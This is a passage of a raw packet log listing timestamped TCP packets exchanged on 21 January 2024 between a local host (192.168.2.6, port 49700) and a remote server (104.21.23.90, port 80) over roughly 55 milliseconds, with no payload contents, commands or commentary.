Jan 21, 2024 17:12:01.225567102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.225579023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.225589991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.225600004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.225605011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.225626945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.225641966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.226419926 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.226433039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.226444006 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.226463079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.226470947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.226475954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.226495981 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.227145910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.227159023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.227190018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.227206945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.227221012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.227231979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.227248907 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.227262974 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.228002071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228027105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228039980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228054047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228066921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.228068113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228091002 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.228867054 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228909969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.228928089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228940010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228951931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228964090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.228979111 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.229005098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.229752064 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.229764938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.229775906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.229795933 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.229804993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.229816914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.229851007 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.230518103 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.230530977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.230541945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.230554104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.230561972 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.230566978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.230586052 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.230612040 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.231395960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.231410027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.231425047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.231437922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.231446028 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.231451035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.231487036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.232264042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.232276917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.232289076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.232301950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.232307911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.232316017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.232336044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.232362032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.232992887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233023882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233036041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233067036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.233077049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233091116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233119965 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.233864069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233876944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233895063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233907938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233916044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.233931065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.233931065 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.233979940 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.236279011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.236291885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.236304045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.236316919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.236344099 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.236401081 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.252872944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.252934933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.252947092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.252964020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.252978086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253115892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.253115892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.253221989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253309011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253323078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253334045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253348112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.253382921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.253382921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.253382921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.254030943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254049063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254062891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254092932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.254116058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254131079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254154921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.254934072 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254946947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254959106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254971981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254981041 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.254986048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.254998922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.255033970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.255687952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255700111 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255753040 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.255919933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255934000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255950928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255964041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255975962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.255980015 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.256006002 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.256721973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.256735086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.256747007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.256758928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.256773949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.256815910 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.256815910 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.256834030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.257534981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.257596016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.257610083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.257621050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.257632971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.257633924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.257662058 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.258418083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.258430958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.258459091 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.258471966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.258485079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.258497000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.258511066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.258534908 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.259182930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.259244919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.259258032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.259269953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.259283066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.259289026 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.259314060 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.260082006 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260094881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260107040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260119915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260126114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.260139942 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260152102 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.260191917 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.260927916 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260941029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260951996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260966063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260978937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.260981083 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.261008978 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.261765003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.261779070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.261790037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.261802912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.261811018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.261815071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.261833906 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.261857033 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.262593985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.262608051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.262619972 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.262633085 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.262640953 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.262645960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.262682915 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.263375998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.263390064 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.263401985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.263413906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.263422012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.263427973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.263448000 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.263472080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.264219046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.264231920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.264244080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.264257908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.264265060 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.264271975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.264300108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.265064001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265078068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265089989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265110016 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.265124083 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.265125990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265141964 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265187979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.265897036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265928030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265966892 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265975952 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.265980959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.265995026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266025066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.266731977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266745090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266757011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266768932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266777992 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.266782999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.266813993 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.266828060 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.267564058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.267576933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.267589092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.267601967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.267611027 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.267616034 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.267637014 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.268347979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.268361092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.268389940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.268394947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.268404007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.268418074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.268434048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.268461943 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.269239902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.269254923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.269267082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.269284010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.269288063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.269298077 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.269325018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.270078897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270092964 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270103931 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270117044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270124912 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.270129919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270149946 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.270178080 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.270822048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270899057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270912886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270924091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270936966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.270946980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.270961046 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.271708012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.271720886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.271732092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.271745920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.271758080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.271759033 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.271786928 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.271800995 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.272547007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.272561073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.272572041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.272583961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.272594929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.272597075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.272622108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.273354053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.273376942 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.273391008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.273401976 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.273403883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.273416996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.273435116 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.273452044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.274250031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.274262905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.274275064 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.274286985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.274301052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.274303913 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.274337053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.275049925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275098085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.275135994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275149107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275160074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275172949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275183916 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.275211096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.275840044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275852919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275865078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275876999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275887966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.275891066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.275922060 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.276729107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.276742935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.276758909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.276772976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.276782036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.276786089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.276807070 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.276834011 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.277482033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.277555943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.277569056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.277580976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.277592897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.277601957 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.277616978 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.278388977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.278408051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.278420925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.278433084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.278439045 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.278446913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.278450966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.278484106 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.279161930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.279237032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.279251099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.279263973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.279277086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.279282093 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.279305935 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.280044079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.280056953 CET	80	49700	104.21.23.90	192.168.2.6
